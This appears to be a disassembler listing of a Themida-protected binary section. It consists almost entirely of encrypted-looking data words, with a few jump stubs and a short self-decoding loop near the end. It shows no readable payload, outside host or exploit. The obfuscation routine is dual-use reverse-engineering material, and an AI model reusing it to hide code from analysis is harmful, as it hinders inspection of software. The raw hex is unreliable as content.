dd 0E96DCC7Ch, 0C794698Dh, 9F36EA21h, 0A8C3AFECh, 13B97817h
dd 32D960DCh, 32AB41FDh, 0D9533F7Eh, 7CBE0407h, 0DE8F6DCCh
dd 958DE99Dh, 51F7C499h, 0B96F661Ah, 7C259D8Ch, 65C16DCCh
dd 97889581h, 5658BCB1h, 61964D0Ch, 0AA9FAB5h, 916FD1C6h
dd 0CC13289Ah, 7B50CC6Dh, 0ECD09A8h, 4691D58h, 93E1FA76h
dd 0D4A9CD72h, 0E1D6507h, 0C2484993h, 0A27C3014h, 4C387317h
dd 9F4813E8h, 6A1FB66Ah, 5F144531h, 61DC25C0h, 8D4C336Ah
dd 8DE99DDAh, 4B5C0860h, 0A2B718B1h, 6A2Eh, 7E329C00h
dd 8D34533Fh, 0B60DA054h, 3372161Fh, 0D4C0077h, 52392719h
dd 6DCC7CF0h, 78431814h, 0B9EA96D3h, 538E6B0Ah, 0C3336B34h
dd 5FA568Ah, 0DECDD3A1h, 92334864h, 0ABC0A480h, 5345h
dd 7E328700h, 7D9533Fh, 7C9032D9h, 0F8746DCCh, 0CC7CB111h
dd 4D9556Dh, 0AC589337h, 52D37251h, 0EC9A569Eh, 59130FC1h
dd 0D72BC17Dh, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh, 0C39F6DCCh
dd 40772DA6h, 7CB80554h, 407F6DCCh, 356944A1h, 149336Bh
dd 0C3000000h, 4E427B32h, 6EA95DDCh, 0EB29E259h, 0FDF4DD67h
dd 0E722C8F3h, 371B373Bh, 0BAA594Bh, 0FCAF832Ah, 734FD3BFh
dd 9A4B6AB7h, 0CC0B53EFh, 0FA37EC6Dh, 0FEAF2602h, 0C4C799BDh
dd 67FC7127h, 9D8F83DFh, 117AC8C3h, 2CD3943Ch, 77270BF7h
dd 0AE55DEFBh, 0F2DBC579h, 95A1FAB2h, 41FACF9Ah, 0FAA1558Ah
dd 943CB74Ah, 3D993807h, 6E8BCA7Eh, 0F7093EE5h, 9185BC64h
dd 77FEB895h, 0F0E79BD0h, 0A51D0C37h, 41943CB7h, 381501E5h
dd 0FEA58C23h, 874A15C9h, 67397A6Ah, 176h, 6468759h, 159E4DE8h
dd 436FD3C2h, 1087943Ch, 0C681C5Dh, 0D73913E8h, 0E2EEC4A9h
dd 56A00A69h, 0CCB613AFh, 8A81F36Dh, 6DCCB638h, 876480DCh
dd 0E2FCDFF6h, 0FCEC1227h, 8C78F467h, 0B346B9B2h, 44FB1819h
dd 0BEF3AC27h, 3A9300Ah, 7B24AFCCh, 0F1373446h, 652B6694h
dd 675E203Dh, 0EA718BC0h, 81BA6F43h, 98B59195h, 3BEFE6h
dd 94D37514h, 2BCA79E0h, 0C990E8A5h, 393DE926h, 41E07F24h
dd 26D9558Ah, 397A5ECBh, 0D452123Bh, 5582B96Fh, 13E8EA74h
dd 4F5Dh, 0C15CAF00h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h
dd 0B1EDCC7Ch, 0B8CFC3FCh, 3A21D514h, 0FFE6EA89h, 0FAAA140h
dd 533F8031h, 9E528F34h, 0A8C29EC2h, 257895D6h, 0E0656E3h
dd 2BD05239h, 78F46DCCh, 9843C4h, 806D0000h, 91C80593h
dd 32FACF0Fh, 0DC83BD5Ch, 0FAB1CBA7h, 67FC0C91h, 0B420F075h
dd 6E88F633h, 0B2CC9E52h, 238E4BF7h, 9AAFAB94h, 79356A21h
dd 60144902h, 238F8E39h, 0AFF0A194h, 0DB1DC4C3h, 0A865EAF6h
dd 0EC98BCD4h, 6BFE39EDh, 3C8F3DD4h, 0BE65CC63h, 6970D589h
dd 0D3B15872h, 0B39E184Ah, 0EA71CBB7h, 181C0845h, 0C0B4EBA1h
dd 13CC8764h, 0CEA032DEh, 0B7C69C9Dh, 9FBC69ACh, 0CFE665FCh
dd 4937F20Ch, 29942FF8h, 0A5C1FCB2h, 855910CBh, 76FAA6E1h
dd 0ADCAA65Ah, 0BD5CA329h, 0FAA6DD83h, 7C398980h, 81DD6DCCh
dd 916F8165h, 4076135Ch, 0A4B9DCABh, 0F76A99E7h, 9FD7967h
dd 0CAA4D992h, 2D4DF5B4h, 0CDA99425h, 855426B0h, 0DBFAA6E1h
dd 3D39ED26h, 0FE444719h, 1694252Dh, 0CD763D1Ah, 0BDBDEC98h
dd 66C07862h, 4D8E3FFAh, 1B00DD59h, 0B1E69D84h, 0E2C1AE9Fh
dd 7EB1E69Ah, 6805BD6Ch, 85E1A060h, 0C067EE68h, 0E3FF3AF0h
dd 0CA7E3D2Fh, 42E56E8Bh, 0EC871105h, 9C8F7155h, 0A0606826h
dd 0CE8562BEh, 0DD0EE015h, 0E6C4FF3h, 44655215h, 5A0A0FE0h
dd 42B97D5Ah, 37A05489h, 0Ah, 9A215F85h, 6AC6BAF3h, 8032B78Dh
dd 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh
dd 8126A551h, 94395044h, 7830A75Bh, 50CF5541h, 405E089h
dd 83000000h, 48704E8h, 0C895C24h, 0E6895624h, 4C681h
dd 0EE830000h, 24348704h, 2434895Ch, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 97BE241Ch, 0D13A3A05h, 0CFF56EEh
dd 0EE815E24h, 1705F3D7h, 4EC81h, 24890000h, 24048124h
dd 4, 8B8505Bh, 5000000h, 288445Dh, 5D2DD801h, 89028844h
dd 1C8B5830h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
dd 24348B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFF96BC8h
dd 5C3D758Eh, 0DF2EC1B2h, 8B807FAh, 3061714h, 55E0FFC5h
dd 0D061EF7Bh, 914FEEC8h, 724B6738h, 5D2D4D3Eh, 904C1212h
dd 0CE3D83A0h, 0BB243327h, 0F02D3D58h, 0D24B647Ah, 414AF0DBh
dd 0BD348B2Eh, 420130E1h, 0E46FDD12h, 547F1A5Bh, 6E258931h
dd 4C4C0DDBh, 5F474B8Fh, 0BA38A9C2h, 0AF17594Ch, 0BB4EC588h
dd 0E34C635Dh, 4F4A9E69h, 0E128184Dh, 16430E27h, 9137A62Ah
dd 9849192Ah, 0B62CD9D4h, 0E83C93B7h, 6, 0F949857Ch, 0E9606471h
dd 0Dh, 0B23D7B28h, 38562198h, 66BA04DFh, 61EC8A25h, 0DE959h
dd 9F080000h, 0F9F3E33Fh, 5F3BFA6Bh, 81EAC8D3h, 5EF7C1h
dd 1799BB00h, 0BA660000h, 31FF3E90h, 0BF58D18Bh, 6D0FBDA5h
dd 65B1C081h, 0BF667659h, 0E881706Ah, 197471DDh, 8E3EF081h
dd 8F5000A7h, 7A58BA01h, 0E9830D6Fh, 4949FC01h, 0E3CA8149h
dd 4B7338FCh, 0C850Fh, 18E90000h, 2E000000h, 5E85FB8Ah
dd 0D6810589h, 1E13E88Ch, 0FFFFADE9h, 0A30EAEFFh, 82CAD25Bh
dd 889A075h, 0DC781469h, 60638DA6h, 2E863635h, 908635A1h
dd 480AD925h, 99053025h, 14962374h, 76023F25h, 7863025h
dd 528F4198h, 0A5893023h, 90863057h, 6B63B5E3h, 4CC83635h
dd 0DA6D2741h, 2DA204A4h, 7BE699E5h, 52956190h, 0AB03BD23h
dd 6F8023A0h, 8E76BBF5h, 34A5D5A0h, 36EE7E23h, 8858931Eh
dd 68E21411h, 0F77946C4h, 27963954h, 150CB5A8h, 98793636h
dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h
dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 0A11BBD25h, 0AA80206Bh
dd 9863020h, 390BD3DAh, 449125E1h, 3707BDA8h, 823E3632h
dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 60638DA6h
dd 2E863635h, 908635A1h, 480AD925h, 99053025h
dword_5BCB08 dd 0F305E983h, 22B9A4h, 0FE80000h, 3A000000h, 3A66391Eh
; DATA XREF: Themida_:0054C344o
dd 0FC5D66A2h, 549F3790h, 0BD317FFBh, 6100ED9h, 81FB8B5Bh
dd 59EBC3h, 35B58B00h, 68061009h, 1641h, 20FD8D89h, 295A0610h
dd 1004E58Dh, 0E833FF06h, 0Ch, 0EC5CD7E5h, 0DBBA334Bh
dd 5079B958h, 5EF0B70Fh, 0FDB58B58h, 8106100Bh, 0D86ECF0h
dd 0EE86010h, 0FF000000h, 65361803h, 9932B29Fh, 9916B9EFh
dd 5F5B514Bh, 38F08161h, 891ADF45h, 10094D85h, 0E5C08106h
dd 0F2CBF04h, 389F0B7h, 68D0Fh, 95290000h, 6100EF9h, 1CEDEB81h
dd 895319F8h, 1032DD8Dh, 0C3815F06h, 19F81CE9h, 26A2E981h
dd 0F4A58C6h, 1F85h, 9DBD3100h, 0E9061005h, 2Ah, 9A28E1E9h
dd 0F059F43Fh, 98544E20h, 0D5DFCF23h, 4CD86FE9h, 241D8531h
dd 56E90610h, 0EFFFFFFFh, 1DAAC45Ch, 0F4AE47FFh, 24E9567Eh
dd 28000000h, 0C675h, 7 dup(0)
dd 0E9000000h, 8C5h, 0BE7ABD6Dh, 0DE5A9137h, 0C579B257h
dd 0D8549136h, 0BC70AF61h, 8C40B2CEh, 670A914Dh, 7F23B226h
dd 5A118844h, 0BAC6A925h, 0DB6B73CFh, 8E16936Bh, 0CC7C4502h
dd 6131DA6Dh, 0DC5074ABh, 2CA6C902h, 0DFD77CB9h, 0FFF2AD6Dh
dd 708D6922h, 2CDF060Dh, 6DCC4296h, 0B50DFC6Eh, 516DCC42h
dd 0FBD5F1D5h, 0FC43EB10h, 0D3BF9B67h, 0F22BE259h, 1A322FEh
dd 7552CEC2h, 0FCB0ABEh, 5B0FDF88h, 0BFA3E485h, 0BE7DEFA3h
dd 5DD9CD08h, 3C0CB380h, 7024385h, 2AC73E51h, 5FD65A46h
dd 9E826EADh, 16B7CEC2h, 4AA21D5h, 493D782Eh, 0E1D09EDh
dd 2DEAD66Dh, 752EF78Eh, 0A1C502A5h, 0EC9F722Dh, 817F397Ah
dd 0CD000000h, 2D3F7E32h, 7CEA5853h, 0E0A6DCCh, 68F34D39h
dd 289A91C2h, 0CC6DCC7Ch, 0EB57450h, 34492DD9h, 0DAC605A7h
dd 69209B7Dh, 0BE04430h, 103D9938h, 73A6C25h, 0CF8C61F4h
dd 0AF6ADE1Dh, 336AC35Eh, 3B3Eh, 4D78C00h, 0F67A265Bh
dd 77B65AE1h, 7C63DC8Bh, 0DB46DCCh, 0F8850CBh, 0DBF76669h
dd 0C2F7B027h, 6E226103h, 0BF0DA47Bh, 240DA4DBh, 0AC2F4180h
dd 6CC8BCF5h, 425EC78Fh, 0AE000000h, 0FBA47E32h, 84F6AAC6h
dd 0AFAA1A47h, 0EB9CC1FAh, 0F62FD609h, 0BE06FDDAh, 8F6DCC36h
dd 0D4F39FDCh, 0AA05F130h, 0A9607A19h, 6DCC3619h, 0AA4521FDh
dd 7E607A19h, 0CC35378Bh, 7653CF6Dh, 10CC0BBDh, 6004D77Ah
dd 0CCF17521h, 6548607h, 0E07D5A10h, 16E802D9h, 88659E43h
dd 0FC82BA9Bh, 0F3972267h, 83DFA3B8h, 1851F88Fh, 377015A4h
dd 0C76AF14Bh, 0C1969A86h, 34469524h, 0C661C75h, 721EFA9Eh
dd 0F332D160h, 0A1D67A4Eh, 2C2158EAh, 8460BC9Eh, 0B86DEC60h
dd 0EEDE6576h, 7C3B6C29h, 0BEB28EC3h, 2C933B97h, 7C13A49Eh
dd 4B59715Ah, 6F23F5FAh, 0EA2CE15Ah, 486B33ECh, 6A920EAh
dd 9B31ADC9h, 8E1CC35Ch, 4002A9D7h, 0A46DCC7Ch, 0C5F3B3C8h
dd 5B4E7932h, 6DCC7CE7h, 793F23FFh, 2BF69735h, 0B366B22h
dd 4Ah, 70D03835h, 559A0F83h, 0C35CAC78h, 0D4D78E1Ch, 6DCC7C6Eh
dd 0C4576764h, 36A232FCh, 37056121h, 4D7F5D7h, 5C7F1A5Eh
dd 0C29DA6E0h, 0B76EF29Eh, 4521D516h, 0BDF6AB28h, 408A42EFh
dd 39h, 3F80B40h, 474A1967h, 0C35C9A32h, 6D1C421Ch, 6DCC7CD5h
dd 8C183531h, 0B7C4A9D7h, 330A4E1h, 0A410BC2Bh, 9FB5C1B7h
dd 0B261E1CAh, 0B3A36DCCh, 32F5D7E5h, 4274427Bh, 6104D78Ah
dd 0DBF07420h, 7E72A760h, 0C8FDD9D7h, 417C326Dh, 52933655h
dd 6908B79Eh, 58F7C863h, 41FD32D9h, 2BD716BAh, 0CDB9F8ACh
dd 7C31A890h, 0FE952643h, 0E2569537h, 6FB6D617h, 29B633h
dd 32140000h, 63504479h, 0B6758754h, 67FC1D45h, 64BCEFFh
dd 0A39CB814h, 9E4F1610h, 0C5A2BEFAh, 12AD59D5h, 6C1312B1h
dd 32E58337h, 63504479h, 0B6758754h, 67FC1FADh, 0EA71ED49h
dd 26180C41h, 0DF632638h, 379423A0h, 0A0F64C3Bh, 120E9423h
dd 3A974E35h, 734C19B5h, 25E4FADCh, 18B10E9Dh, 53E0FD79h
dd 0D9C377ACh, 596EAF62h, 0BFE29E2h, 18B10EB7h, 3EFD34Fh
dd 9AB427AEh, 0CD246E1Fh, 5F28A99h, 969A866Ah, 0BFEC9FC1h
dd 4712814Dh, 738D6FEBh, 0A1520AB8h, 596EEA02h, 1CC35CD3h
dd 5D83FD8Eh, 7C3A8883h, 7EDA6DCCh, 0CC7C2B97h, 6A4FCB6Dh
dd 7A51D102h, 3B11E60Eh, 4002A9D7h, 0A46DCC7Ch, 7F28B3C8h
dd 8A9304Ah, 351AB2C7h, 222BF697h, 0B29B366Bh, 701AF539h
dd 73D3F827h, 90ACE0B9h, 3A2DA3B8h, 9F000000h, 113C35Ch
dd 92F85E1Bh, 0D7BE8C68h, 0CC7C6ED4h, 9A67646Dh, 34E8C149h
dd 0C7A35774h, 458026B5h, 2CF8D551h, 7B32F5D7h, 3E427442h
dd 978BC87Bh, 40E6BE9Bh, 36h, 1CC35C8Ch, 6ED4D78Eh, 0A46DCC7Ch
dd 0F5D7EAB0h, 2A77B32h, 7D59DDC9h, 5F96D7AFh, 0C0D8F88Fh
dd 60B1087Bh, 0C465A27Bh, 0CCED7DC5h, 0B99D996Dh, 35124B02h
dd 7932F68Eh, 0FCAF2A44h, 0B5169ABFh, 0DE5C8A45h, 464E1D09h
dd 9B6DC820h, 1BC46D04h, 208939F0h, 49389230h, 95B0EFCh
dd 3419150Dh, 46B155A6h, 8A3E2295h, 661A590Bh, 927EBD6Fh
dd 2FD863B5h, 8470AB5Fh, 54D0C4A0h, 240DA477h, 0BB01A680h
dd 0F8005453h, 6480641Ch, 0F7DC35E8h, 2ABC336Eh, 0E000000h
dd 50447932h, 75875463h, 0FC0CD5B6h, 9BB5B167h, 502D6C20h
dd 5794374Eh, 38792CABh, 0F392314Ch, 32D1F2CDh, 0A3174CF3h
dd 5C04D705h, 0D48B4825h, 44206104h, 87546350h, 26E5B675h
dd 6E5F67FCh, 65EA0271h, 84BD64FDh, 847E960h, 3F43181Ch
dd 0C69567E3h, 972EE223h, 6BC7BBF0h, 5CDA7287h, 0FD8E1CC3h
dd 447932CFh, 0E085542Ah, 7C4200A7h, 0C6A26DCCh, 0A9D71BB1h
dd 0CC7C4002h, 45BA6F6Dh, 0A366B9A1h, 0E45A6FEBh, 222BF646h
dd 3D0B366Bh, 81000000h, 8E1CC35Ch, 7C6ED4D7h, 0F866DCCh
dd 2D3F2358h, 7CEA5853h, 41E86DCCh, 6DCC7C81h, 1D190965h
dd 0F5D76440h, 74427B32h, 30408A42h, 40000000h, 7B37DC0Bh
dd 79303438h, 0EAC297D8h, 8E1CC35Ch, 7C6ED4D7h, 0B0A46DCCh
dd 32F5D7EAh, 4274427Bh, 0FEC30D3Eh, 44C8209Ch, 0FBA7E085h
dd 32CA6277h, 43B79h, 6D1FA366h, 7BF76DCCh, 590F074Eh
dd 0D2E2897Dh, 0F6DC8E2h, 571011B0h, 782FA622h, 53624F43h
dd 0D2B37688h, 0AC98079Ch, 0D76EFCB0h, 7C4002A9h, 0C8A46DCCh
dd 16C952B3h, 32CFFD90h, 35764479h, 5C04D797h, 8E4F4825h
dd 6E366B21h, 5Ah, 81C35CDCh, 81E591CEh, 38EC21CAh, 0D792183Ch
dd 2496D7A9h, 1B353B6Fh, 4FC67C2Bh, 421E6DCCh, 6DAEF215h
dd 5F7CE6E8h, 0CC451EA4h, 0AC7AF66Dh, 7B32F5D7h, 3E427442h
dd 708DC67Bh, 2A9D7D4h, 6DCC7C40h, 5C11C8A4h, 279B4623h
dd 0A5000000h, 7C72D0BBh, 96926DCCh, 0C35CEBC1h, 269A3913h
dd 0AE64F76h, 6ED4D73Ch, 0A46DCC7Ch, 0F5D7EAB0h, 74427B32h
dd 79328A42h, 0DDC906A9h, 0B7897D59h, 7C60E2C9h, 0A8846DCCh
dd 2C417E31h, 0C8FD717Fh, 7E15AE6Dh, 1DB10B7h, 0C0E593CCh
dd 3348191Ch, 3E732CABh, 306D852h, 92373FBFh, 5FFEDB57h
dd 97698358h, 373F2E94h, 5DE5A492h, 0B992373Fh, 9469C5BDh
dd 6C28BD6Ch, 0B1B69807h, 7C34B623h, 4804E0F3h, 1CC35CC2h
dd 5D04D78Eh, 8CF4CF1Bh, 0CAA616C2h, 817D5AD6h, 447932FBh
dd 0F6973576h, 366B222Bh, 56ECB29Bh, 1C2C446Bh, 37893Fh
dd 5C030000h, 9421CC3h, 0A08B46E7h, 6DCCB622h, 418166C2h
dd 663E1BDDh, 7C6ED4D7h, 0AA866DCCh, 32F5D71Ch, 4274427Bh
dd 53408Ah, 1E400000h, 0CC7CD76Bh, 16332F6Dh, 1CC35C8Eh
dd 0D56D1C42h, 316DCC7Ch, 7CF64C3Fh, 120E6DCCh, 96D5772Eh
dd 0D4D7EBC1h, 6DCC7C6Eh, 48AFA7A4h, 35225B12h, 0D74E3A1Ah
dd 51D7FB30h, 4D7F5D7h, 0F0742061h, 70A960DBh, 203E42AAh
dd 0CC7CD969h, 0CE13D6Dh, 44793240h, 91546350h, 37EB22CAh
dd 7CF64C3Bh, 120E6DCCh, 0E86D1C2Eh, 1667FC12h, 0B2419E1Ah
dd 25165729h, 0ECFD2E64h, 6200C269h, 88E49423h, 2B97926Ch
dd 0CB942362h, 0A3667A4Fh, 9E180DF7h, 2B9938Fh, 0EB94134Ah
dd 9166CAB6h, 184DF695h, 4CFFBAA4h, 0EAFF630Fh, 9185BA71h
dd 0E5D60FCAh, 0C178E495h, 27FCD10Eh, 0CD02A988h, 0ACE18A11h
dd 0A14586F8h, 1187BA3Ah, 9C4F0CE1h, 1BCE8D5Fh, 2D4A26DAh
dd 0D2896771h, 3A09DE1Fh, 0BCF19A9Bh
dd 9DD27900h, 1000E9h, 0DE000000h, 0CA16972Bh, 0B2586F80h
dd 0A67E5B77h, 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah
dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
dd 52CF5541h, 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h
dd 11C5685Ch, 3C890000h, 7B576824h, 2C890000h, 17C56824h
dd 3C8B0617h, 4C48124h, 54000000h, 83242C8Bh, 815704C4h
dd 0BD22434h, 458F6C12h, 8BB5308h, 1000000h, 0D23381EBh
dd 5B6C120Bh, 50242C8Bh, 405E089h, 83000000h, 48704C0h
dd 3C8B5C24h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
dd 5FF2E95Ch, 4F1EFFF9h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h
dd 1FFCB89Bh, 0C5030617h, 938AE0FFh, 4ADD27ABh, 79C9450Ah
dd 867259B8h, 0EAA521E8h, 343C640Eh, 0ABC61DE1h, 0F13A4E69h
dd 25822657h, 4D326C5Eh, 46C91C62h, 0CD395435h, 0EBAF14A1h
dd 0A6407A2Fh, 0FA0312B1h, 0C9AB30DAh, 471D3E2Dh, 86F66469h
dd 550E45CFh, 58FB12A4h, 13591E4Bh, 0C96D3962h, 4B2B22A8h
dd 5B814BF3h, 0E1FD0E3Fh, 0ABBB5727h, 931961F5h, 0B05409F6h
dd 0F84D1982h, 25E9643Bh, 0AD000000h, 27718Bh, 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5BDAF3
; ---------------------------------------------------------------------------
db 0FCh, 4Ah, 7
dd 0E51CC453h, 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h
dd 0E574E827h, 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 5D14AE5Dh
dd 0F3F06BDBh, 44793229h, 58973950h, 11B15886h, 0F56DCC7Ch
dd 5BDA6479h, 4836FA4h, 8554265Bh, 78FCA8DFh, 7C24A363h
dd 973A5145h, 8DBDAA56h, 0B797C610h, 1E5F12C9h, 32D16072h
dd 5F1350F3h, 734CDF03h, 79AE55DCh, 559036C5h, 0BB73527Bh
dd 0E595AE4h, 209B8539h, 0DE422E6Bh, 619C5209h, 0DE13CC8Fh
dd 6D192E32h, 867ABB6Eh, 67CE651Ch, 45D488C3h, 0C3BD699Eh
dd 381554F8h, 0CCE0F24Bh, 0EF86356Dh, 6A99C70Ah, 69A733h
dd 32E50000h, 0E8A33B79h, 92E671Eh, 0CFF31C69h, 40CC7423h
dd 6E4D6DCCh, 0C468F3D7h, 0B8959185h, 6AF9EEBFh, 89805E33h
dd 6DCC4C39h, 46C81DDh, 0Bh, 9D25E4FAh, 796DCC4Ch, 3244E0FDh
dd 384F437Ah, 46875990h, 0C104C47h, 0D106BD0Dh, 0AF26D8F5h
dd 60E2C9FCh, 846DCCF4h, 0A5D8CCA8h, 6BE67FEh, 23DC5BCFh
dd 32AC3AEEh, 0E062497Eh, 46DCC7Ch, 0B79BDC8Dh, 0FD65092h
dd 0D9FD925Fh, 0BFF6AE2Dh, 4EE576D3h, 191045E7h, 6DCC90A9h
dd 5392364Dh, 0C39FC39Fh, 0A2D79007h, 235C11C8h, 28D6F36Fh
dd 0ECDFCB1h, 0CB771E57h, 2B6DCC90h, 97D2782Fh, 771AA1BBh
dd 34652136h, 0BC05E07Fh, 2C336A47h, 0C8BCFBADh, 6ED98F6Ch
dd 33000000h, 7BF396D7h, 0DD8FE46Ch, 3D39ED2Ah, 0D5774419h
dd 36EBEA96h, 4D7609FDh, 88BD6FB6h, 0CCD421A1h, 1BCEC56Dh
dd 264A26DAh, 65078E4Ah, 33175426h, 0C09A28D1h, 0D6F5B1C6h
dd 5700F431h, 9D60851Ch, 7D336A4Fh, 48h, 3F7E32CFh, 538E3453h
dd 0DC734C9Fh, 0C707D1FAh, 15AEB458h, 3E103473h, 0CC8EF74Bh
dd 36130F6Dh, 0D08CCB7Dh, 3A7A323Ah, 0B125641h, 2ED6554Fh
dd 4B270BF7h, 0D6B71057h, 47786DCCh, 8B844DA8h, 164336Ah
dd 0A6000000h, 4E427B32h, 815B9037h, 27E215BAh, 6DCC7C9Bh
dd 0CFC39F7Bh, 1E887653h, 0BCF39920h, 0AC8F6CC8h, 822AB115h
dd 7CEC5655h, 2C086DCCh, 0B2CF5C48h, 0C8FFA996h, 0E3708D69h
dd 6C4AFC3Eh, 93B8D115h, 0FA6FBAFh, 3A77D31h, 7C58DCC8h
dd 0B6C8AC88h, 0FCE416F3h, 5A74F067h, 39ED2EDFh, 0C5E203Dh
dd 8C61964Dh, 67E318CFh, 0E80237F0h, 0A4AF1316h, 0CB80943Ch
dd 8E7EE28Eh, 346F1392h, 1707E440h, 3CA4F050h, 3FD66D94h
dd 46184DF6h, 0A4D17118h, 0BA6E943Ch, 0D2A7837Bh, 0A1D68D0Ch
dd 0EF2DD6F5h, 64A5C2AEh, 28DCF8F0h, 0D3BF00B1h, 0E3C37C46h
dd 0E0576711h, 1605F128h, 502CE65h, 0AD56DF76h, 4DAC478h
dd 3CFEBD05h, 24E75994h, 943CFE9Eh, 1D6FA76h, 7AB3B3FEh
dd 0C2A2339h, 0DA15B948h, 3E1D4A26h, 0A3452214h, 124h
dd 1EBD5CE9h, 266C5D4Ch, 9E7A67FCh, 0F72CD3F2h, 3B0BB443h
dd 0ED555489h, 99423AAh, 0D95D492Dh, 0D99209FDh, 38D9F0A4h
dd 0D68C0BF7h, 11B2E79Bh, 0A994E72h, 0EC21CA6Bh, 15CB8E70h
dd 772E32DEh, 8AE69AD1h, 6067AA6Dh, 4747397Bh, 85000000h
dd 0E11C15Ch, 0ED0A5118h, 0A9607A56h, 0EDCC6939h, 9B9581DDh
dd 48053B2h, 7118C55Ah, 0EDCC42D1h, 431D3935h, 0CC42FA48h
dd 293E1AEDh, 0CC42C082h, 0B74EEDEDh, 84568598h, 0CC421D85h
dd 1BDB96Dh, 8F88h, 0BD5CF400h, 3C5D4C1Eh, 0CA67FC0Ch
dd 0B6C8A24Eh, 238C4FF3h, 0AECBA794h, 58537E25h, 94238CEAh
dd 68290E0Ah, 98BBEB06h, 30ABC5A1h, 0E062497Ah, 49423BDh
dd 0A72F4C28h, 4E427730h, 23BCBC07h, 750CB394h, 0AAE38A51h
dd 285D06CDh, 13C84FB4h, 0DDE85239h, 401C9E18h, 508E3554h
dd 0CD28B133h, 0BEE0923Ch, 2CA36388h, 0FFE99DB9h, 43A4CC01h
dd 4430671Dh, 79A8FBE0h, 7918ABC0h, 0ED28DE5Dh, 0BD203D39h
dd 0E0CBA536h, 942F197Ah, 8C1A8E8Ah, 4C1EBD5Ch, 0F71DFD5Dh
dd 792D0967h, 0B874A962h, 0A1558A41h, 4E77B0FAh, 0B35271F5h
dd 6C9F4417h, 4E4E05BDh, 6185E1B5h, 0E318CF8Ch, 0BD589567h
dd 0C6A0A255h, 7F28B3C8h, 8A9304Ah, 0D5F4B2C7h, 60DBF532h
dd 0DF20D1ADh, 639E4403h, 730E9886h, 83AE55DCh, 4E743A88h
dd 0C77EDAB5h, 4D01E526h, 841E873h, 7843181Ch, 94E69ACFh
dd 7403BF6Ah, 641CB54Eh, 0E7F9752Dh, 4E749E24h, 0DDFA76B5h
dd 364h, 6D5FD800h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
dd 575A68CFh, 0C890000h, 50336824h, 4890000h, 0E0895024h
dd 405h, 42D00h, 4870000h, 1C895C24h, 68535724h, 65A62078h
dd 4EF3815Bh, 8963B101h, 0F8895BDFh, 5B27685Fh, 24890000h
dd 24048324h, 0EC815B04h, 4, 8F240489h, 1C8B0843h, 0E1895124h
dd 4C181h, 0C1830000h, 240C8704h, 24048B5Ch, 81E18951h
dd 4C1h, 4C18300h, 5C240C87h, 0F959E7E9h
db 0FFh, 0CDh, 0E7h
; ---------------------------------------------------------------------------
loc_5BDAF3: ; CODE XREF: Themida_:005BD59Cj
mov eax, 617260Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 46F5928Ch, 27E684D9h, 375AE8Ah, 3A6CBB2Ch, 291BFAC7h
dd 6924CDE3h, 4088F9FBh, 4445561Ch, 3CB50508h, 0DB992C3h
dd 5F4D5BF9h, 48869F1Bh, 7A6BF15Bh, 2AA402Ah, 31DFCCBBh
dd 4D8F56DCh, 350DCF82h, 3A1D0B74h, 2270F6E3h, 537AD4D6h
dd 28DDB249h, 47846014h, 60EF6F9Ah, 5BB54483h, 724B987Ah
dd 240D5334h, 0EB93560h, 4823144Dh, 27B88D8Dh, 6A0617h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0DF8F92C3h, 0D2694095h, 58D0FA0h, 66000000h, 834F081h
dd 9F58D89h, 0B8660610h, 85C792B3h, 6102319h, 6B50h, 14E9h
dd 0BF1DEA00h, 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh
dd 0C185C713h, 61022h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 885CC356h
dd 9C7A1B52h, 53331288h, 595958Bh, 0B5FF0610h, 6100865h
dd 68B0Fh, 9D890000h, 61029C9h, 2DB995FFh, 0DF8B0610h
dd 95FF006Ah, 61031C9h, 59EBC08Bh, 506B3FD7h, 0EB5122E4h
dd 0FB25ADE0h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh, 0FCD4C8CDh
dd 65255B9h, 266FF7AAh, 168C9E39h, 0A2095756h, 0ECE68593h
dd 5A4E8E15h, 0E69E93CDh, 287372B7h, 0E9FD14Ch, 2673F002h
dd 622A70E5h, 0E39E064Eh, 7F3979C0h, 289BD2B2h, 99A25F84h
dd 0CE87Fh, 0D0D10000h, 3E10365Dh, 0CB45A9E2h, 8D8B7A5Bh
dd 61021B5h, 0C681F55Eh, 703Ah, 58E0Fh, 81660000h, 684337E1h
dd 0
; ---------------------------------------------------------------------------
jmp loc_5BDCC5
; ---------------------------------------------------------------------------
db 0B7h, 41h, 0A8h
db 0CCh
db 63h, 0B8h, 94h
dd 428D9235h, 0ED918514h
db 0E4h
; ---------------------------------------------------------------------------
loc_5BDCC5: ; CODE XREF: Themida_:005BDCB0j
pop edi
sub [ebp+6101409h], edx
loc_5BDCCC: ; CODE XREF: Themida_:005BDD48j
push dword ptr [edi+esi]
mov cx, dx
pop eax
add [ebp+61027A9h], esi
add eax, 0B1745DDh
mov ebx, [ebp+6101D7Dh]
add eax, 7378A3Ah
sub [ebp+6103101h], eax
add eax, 597450F7h
mov [ebp+6101631h], eax
mov [esi+edi], eax
mov bh, dl
mov [ebp+6100915h], esi
sub edi, 14E76EBDh
mov [ebp+6102161h], edx
add edi, 14E76EB9h
movzx edx, cx
cmp edi, 0FFFF9098h
jnz loc_5BDD45
push eax
mov bx, ax
pop edx
jmp loc_5BDD5C
